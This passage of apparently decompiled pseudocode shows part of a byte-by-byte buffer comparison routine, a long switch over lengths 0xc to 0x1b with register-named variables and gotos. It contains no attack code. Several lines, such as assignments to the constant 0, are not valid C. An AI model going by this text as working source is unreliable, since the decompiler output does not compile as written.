											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L404;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L401;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L399;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L397;
						case 0xc:
							L143:
							__edx =  *(__eax - 0xc);
							if( *(__eax - 0xc) ==  *(__ecx - 0xc)) {
								__esi = 0;
								L153:
								if(__esi != 0) {
									goto L98;
								}
								goto L154;
							}
							__edx =  *(__ecx - 0xc) & 0x000000ff;
							__esi =  *(__eax - 0xc) & 0x000000ff;
							__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
							if(__esi == 0) {
								L146:
								__esi =  *(__eax - 0xb) & 0x000000ff;
								__edx =  *(__ecx - 0xb) & 0x000000ff;
								__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
								if(__esi == 0) {
									L148:
									__esi =  *(__eax - 0xa) & 0x000000ff;
									__edx =  *(__ecx - 0xa) & 0x000000ff;
									__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
									if(__esi == 0) {
										L150:
										__esi =  *(__eax - 9) & 0x000000ff;
										__edx =  *(__ecx - 9) & 0x000000ff;
										__esi = ( *(__eax - 9) & 0x000000ff) - ( *(__ecx - 9) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L153;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L150;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L148;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L146;
						case 0xd:
							L223:
							__edx =  *(__eax - 0xd);
							if( *(__eax - 0xd) ==  *(__ecx - 0xd)) {
								__esi = 0;
								L233:
								if(__esi != 0) {
									goto L98;
								}
								goto L234;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xd) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
							if(__esi == 0) {
								L226:
								__esi =  *(__eax - 0xc) & 0x000000ff;
								__edx =  *(__ecx - 0xc) & 0x000000ff;
								__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
								if(__esi == 0) {
									L228:
									__esi =  *(__eax - 0xb) & 0x000000ff;
									__edx =  *(__ecx - 0xb) & 0x000000ff;
									__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
									if(__esi == 0) {
										L230:
										__esi =  *(__eax - 0xa) & 0x000000ff;
										__edx =  *(__ecx - 0xa) & 0x000000ff;
										__esi = ( *(__eax - 0xa) & 0x000000ff) - ( *(__ecx - 0xa) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L233;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L230;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L228;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L226;
						case 0xe:
							L302:
							__edx =  *(__eax - 0xe);
							if( *(__eax - 0xe) ==  *(__ecx - 0xe)) {
								__esi = 0;
								L312:
								if(__esi != 0) {
									goto L98;
								}
								goto L313;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0xe) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
							if(__esi == 0) {
								L305:
								__esi =  *(__eax - 0xd) & 0x000000ff;
								__edx =  *(__ecx - 0xd) & 0x000000ff;
								__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
								if(__esi == 0) {
									L307:
									__esi =  *(__eax - 0xc) & 0x000000ff;
									__edx =  *(__ecx - 0xc) & 0x000000ff;
									__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
									if(__esi == 0) {
										L309:
										__esi =  *(__eax - 0xb) & 0x000000ff;
										__edx =  *(__ecx - 0xb) & 0x000000ff;
										__esi = ( *(__eax - 0xb) & 0x000000ff) - ( *(__ecx - 0xb) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L312;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L309;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L307;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L305;
						case 0xf:
							L383:
							__edx =  *(__eax - 0xf);
							if( *(__eax - 0xf) ==  *(__ecx - 0xf)) {
								__esi = 0;
								L393:
								if(__esi != 0) {
									goto L98;
								}
								goto L394;
							}
							__edx =  *(__ecx - 0xf) & 0x000000ff;
							__esi =  *(__eax - 0xf) & 0x000000ff;
							__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
							if(__esi == 0) {
								L386:
								__esi =  *(__eax - 0xe) & 0x000000ff;
								__edx =  *(__ecx - 0xe) & 0x000000ff;
								__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
								if(__esi == 0) {
									L388:
									__esi =  *(__eax - 0xd) & 0x000000ff;
									__edx =  *(__ecx - 0xd) & 0x000000ff;
									__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
									if(__esi == 0) {
										L390:
										__esi =  *(__eax - 0xc) & 0x000000ff;
										__edx =  *(__ecx - 0xc) & 0x000000ff;
										__esi = ( *(__eax - 0xc) & 0x000000ff) - ( *(__ecx - 0xc) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L393;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L390;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L388;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L386;
						case 0x10:
							L132:
							__edx =  *(__eax - 0x10);
							if( *(__eax - 0x10) ==  *(__ecx - 0x10)) {
								__esi = 0;
								L142:
								if(__esi != 0) {
									goto L98;
								}
								goto L143;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x10) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
							if(__esi == 0) {
								L135:
								__esi =  *(__eax - 0xf) & 0x000000ff;
								__edx =  *(__ecx - 0xf) & 0x000000ff;
								__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
								if(__esi == 0) {
									L137:
									__esi =  *(__eax - 0xe) & 0x000000ff;
									__edx =  *(__ecx - 0xe) & 0x000000ff;
									__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
									if(__esi == 0) {
										L139:
										__esi =  *(__eax - 0xd) & 0x000000ff;
										__edx =  *(__ecx - 0xd) & 0x000000ff;
										__esi = ( *(__eax - 0xd) & 0x000000ff) - ( *(__ecx - 0xd) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L142;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L139;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L137;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L135;
						case 0x11:
							L212:
							__edx =  *(__eax - 0x11);
							if( *(__eax - 0x11) ==  *(__ecx - 0x11)) {
								__esi = 0;
								L222:
								if(__esi != 0) {
									goto L98;
								}
								goto L223;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x11) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
							if(__esi == 0) {
								L215:
								__esi =  *(__eax - 0x10) & 0x000000ff;
								__edx =  *(__ecx - 0x10) & 0x000000ff;
								__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
								if(__esi == 0) {
									L217:
									__esi =  *(__eax - 0xf) & 0x000000ff;
									__edx =  *(__ecx - 0xf) & 0x000000ff;
									__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
									if(__esi == 0) {
										L219:
										__esi =  *(__eax - 0xe) & 0x000000ff;
										__edx =  *(__ecx - 0xe) & 0x000000ff;
										__esi = ( *(__eax - 0xe) & 0x000000ff) - ( *(__ecx - 0xe) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L222;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L219;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L217;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L215;
						case 0x12:
							L291:
							__edx =  *(__eax - 0x12);
							if( *(__eax - 0x12) ==  *(__ecx - 0x12)) {
								__esi = 0;
								L301:
								if(__esi != 0) {
									goto L98;
								}
								goto L302;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x12) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
							if(__esi == 0) {
								L294:
								__esi =  *(__eax - 0x11) & 0x000000ff;
								__edx =  *(__ecx - 0x11) & 0x000000ff;
								__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
								if(__esi == 0) {
									L296:
									__esi =  *(__eax - 0x10) & 0x000000ff;
									__edx =  *(__ecx - 0x10) & 0x000000ff;
									__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
									if(__esi == 0) {
										L298:
										__esi =  *(__eax - 0xf) & 0x000000ff;
										__edx =  *(__ecx - 0xf) & 0x000000ff;
										__esi = ( *(__eax - 0xf) & 0x000000ff) - ( *(__ecx - 0xf) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L301;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L298;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L296;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L294;
						case 0x13:
							L372:
							__edx =  *(__eax - 0x13);
							if( *(__eax - 0x13) ==  *(__ecx - 0x13)) {
								__esi = 0;
								L382:
								if(__esi != 0) {
									goto L98;
								}
								goto L383;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x13) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
							if(__esi == 0) {
								L375:
								__esi =  *(__eax - 0x12) & 0x000000ff;
								__edx =  *(__ecx - 0x12) & 0x000000ff;
								__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
								if(__esi == 0) {
									L377:
									__esi =  *(__eax - 0x11) & 0x000000ff;
									__edx =  *(__ecx - 0x11) & 0x000000ff;
									__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
									if(__esi == 0) {
										L379:
										__esi =  *(__eax - 0x10) & 0x000000ff;
										__edx =  *(__ecx - 0x10) & 0x000000ff;
										__esi = ( *(__eax - 0x10) & 0x000000ff) - ( *(__ecx - 0x10) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L382;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L379;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L377;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L375;
						case 0x14:
							L121:
							__edx =  *(__eax - 0x14);
							if( *(__eax - 0x14) ==  *(__ecx - 0x14)) {
								__esi = 0;
								L131:
								if(__esi != 0) {
									goto L98;
								}
								goto L132;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x14) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
							if(__esi == 0) {
								L124:
								__esi =  *(__eax - 0x13) & 0x000000ff;
								__edx =  *(__ecx - 0x13) & 0x000000ff;
								__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
								if(__esi == 0) {
									L126:
									__esi =  *(__eax - 0x12) & 0x000000ff;
									__edx =  *(__ecx - 0x12) & 0x000000ff;
									__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
									if(__esi == 0) {
										L128:
										__esi =  *(__eax - 0x11) & 0x000000ff;
										__edx =  *(__ecx - 0x11) & 0x000000ff;
										__esi = ( *(__eax - 0x11) & 0x000000ff) - ( *(__ecx - 0x11) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L131;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L128;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L126;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L124;
						case 0x15:
							L201:
							__edx =  *(__eax - 0x15);
							if( *(__eax - 0x15) ==  *(__ecx - 0x15)) {
								__esi = 0;
								L211:
								if(__esi != 0) {
									goto L98;
								}
								goto L212;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x15) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
							if(__esi == 0) {
								L204:
								__esi =  *(__eax - 0x14) & 0x000000ff;
								__edx =  *(__ecx - 0x14) & 0x000000ff;
								__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
								if(__esi == 0) {
									L206:
									__esi =  *(__eax - 0x13) & 0x000000ff;
									__edx =  *(__ecx - 0x13) & 0x000000ff;
									__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
									if(__esi == 0) {
										L208:
										__esi =  *(__eax - 0x12) & 0x000000ff;
										__edx =  *(__ecx - 0x12) & 0x000000ff;
										__esi = ( *(__eax - 0x12) & 0x000000ff) - ( *(__ecx - 0x12) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L211;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L208;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L206;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L204;
						case 0x16:
							L280:
							__edx =  *(__eax - 0x16);
							if( *(__eax - 0x16) ==  *(__ecx - 0x16)) {
								__esi = 0;
								L290:
								if(__esi != 0) {
									goto L98;
								}
								goto L291;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x16) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
							if(__esi == 0) {
								L283:
								__esi =  *(__eax - 0x15) & 0x000000ff;
								__edx =  *(__ecx - 0x15) & 0x000000ff;
								__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
								if(__esi == 0) {
									L285:
									__esi =  *(__eax - 0x14) & 0x000000ff;
									__edx =  *(__ecx - 0x14) & 0x000000ff;
									__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
									if(__esi == 0) {
										L287:
										__esi =  *(__eax - 0x13) & 0x000000ff;
										__edx =  *(__ecx - 0x13) & 0x000000ff;
										__esi = ( *(__eax - 0x13) & 0x000000ff) - ( *(__ecx - 0x13) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L290;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L287;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L285;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L283;
						case 0x17:
							L361:
							__edx =  *(__eax - 0x17);
							if( *(__eax - 0x17) ==  *(__ecx - 0x17)) {
								__esi = 0;
								L371:
								if(__esi != 0) {
									goto L98;
								}
								goto L372;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x17) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
							if(__esi == 0) {
								L364:
								__esi =  *(__eax - 0x16) & 0x000000ff;
								__edx =  *(__ecx - 0x16) & 0x000000ff;
								__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
								if(__esi == 0) {
									L366:
									__esi =  *(__eax - 0x15) & 0x000000ff;
									__edx =  *(__ecx - 0x15) & 0x000000ff;
									__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
									if(__esi == 0) {
										L368:
										__esi =  *(__eax - 0x14) & 0x000000ff;
										__edx =  *(__ecx - 0x14) & 0x000000ff;
										__esi = ( *(__eax - 0x14) & 0x000000ff) - ( *(__ecx - 0x14) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L371;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L368;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L366;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L364;
						case 0x18:
							L110:
							__edx =  *(__eax - 0x18);
							if( *(__eax - 0x18) ==  *(__ecx - 0x18)) {
								__esi = 0;
								L120:
								if(__esi != 0) {
									goto L98;
								}
								goto L121;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x18) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
							if(__esi == 0) {
								L113:
								__esi =  *(__eax - 0x17) & 0x000000ff;
								__edx =  *(__ecx - 0x17) & 0x000000ff;
								__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
								if(__esi == 0) {
									L115:
									__esi =  *(__eax - 0x16) & 0x000000ff;
									__edx =  *(__ecx - 0x16) & 0x000000ff;
									__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
									if(__esi == 0) {
										L117:
										__esi =  *(__eax - 0x15) & 0x000000ff;
										__edx =  *(__ecx - 0x15) & 0x000000ff;
										__esi = ( *(__eax - 0x15) & 0x000000ff) - ( *(__ecx - 0x15) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L120;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L117;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L115;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L113;
						case 0x19:
							L190:
							__edx =  *(__eax - 0x19);
							if( *(__eax - 0x19) ==  *(__ecx - 0x19)) {
								__esi = 0;
								L200:
								if(__esi != 0) {
									goto L98;
								}
								goto L201;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x19) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
							if(__esi == 0) {
								L193:
								__esi =  *(__eax - 0x18) & 0x000000ff;
								__edx =  *(__ecx - 0x18) & 0x000000ff;
								__esi = ( *(__eax - 0x18) & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
								if(__esi == 0) {
									L195:
									__esi =  *(__eax - 0x17) & 0x000000ff;
									__edx =  *(__ecx - 0x17) & 0x000000ff;
									__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
									if(__esi == 0) {
										L197:
										__esi =  *(__eax - 0x16) & 0x000000ff;
										__edx =  *(__ecx - 0x16) & 0x000000ff;
										__esi = ( *(__eax - 0x16) & 0x000000ff) - ( *(__ecx - 0x16) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L200;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L197;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L195;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L193;
						case 0x1a:
							L269:
							__edx =  *(__eax - 0x1a);
							if( *(__eax - 0x1a) ==  *(__ecx - 0x1a)) {
								__esi = 0;
								L279:
								if(__esi != 0) {
									goto L98;
								}
								goto L280;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x1a) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
							if(__esi == 0) {
								L272:
								__esi =  *(__eax - 0x19) & 0x000000ff;
								__edx =  *(__ecx - 0x19) & 0x000000ff;
								__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
								if(__esi == 0) {
									L274:
									__esi =  *(__eax - 0x18) & 0x000000ff;
									__edx =  *(__ecx - 0x18) & 0x000000ff;
									__esi = ( *(__eax - 0x18) & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
									if(__esi == 0) {
										L276:
										__esi =  *(__eax - 0x17) & 0x000000ff;
										__edx =  *(__ecx - 0x17) & 0x000000ff;
										__esi = ( *(__eax - 0x17) & 0x000000ff) - ( *(__ecx - 0x17) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
											__esi = (__esi > 0) + (__esi > 0) - 1;
										}
										goto L279;
									}
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = __edx;
									if(__edx != 0) {
										goto L98;
									}
									goto L276;
								}
								0 = 0 | __esi > 0x00000000;
								__edx = (__esi > 0) + (__esi > 0) - 1;
								__esi = __edx;
								if(__edx != 0) {
									goto L98;
								}
								goto L274;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L98;
							}
							goto L272;
						case 0x1b:
							L350:
							__edx =  *(__eax - 0x1b);
							if( *(__eax - 0x1b) ==  *(__ecx - 0x1b)) {
								__esi = 0;
								L360:
								if(__esi != 0) {
									goto L98;
								}
								goto L361;
							}
							__esi = __dl & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L353:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi == 0) {
									L355:
									__esi =  *(__eax - 0x19) & 0x000000ff;
									__edx =  *(__ecx - 0x19) & 0x000000ff;
									__esi = ( *(__eax - 0x19) & 0x000000ff) - ( *(__ecx - 0x19) & 0x000000ff);
									if(__esi == 0) {
										L357:
										__esi =  *(__eax - 0x18) & 0x000000ff;
										__edx =  *(__ecx - 0x18) & 0x000000ff;
										__esi = ( *(__eax - 0x18) & 0x000000ff) - ( *(__ecx - 0x18) & 0x000000ff);
										if(__esi != 0) {
											0 = 0 | __esi > 0x00000000;
											__edx = (__esi > 0) + (__esi > 0) - 1;
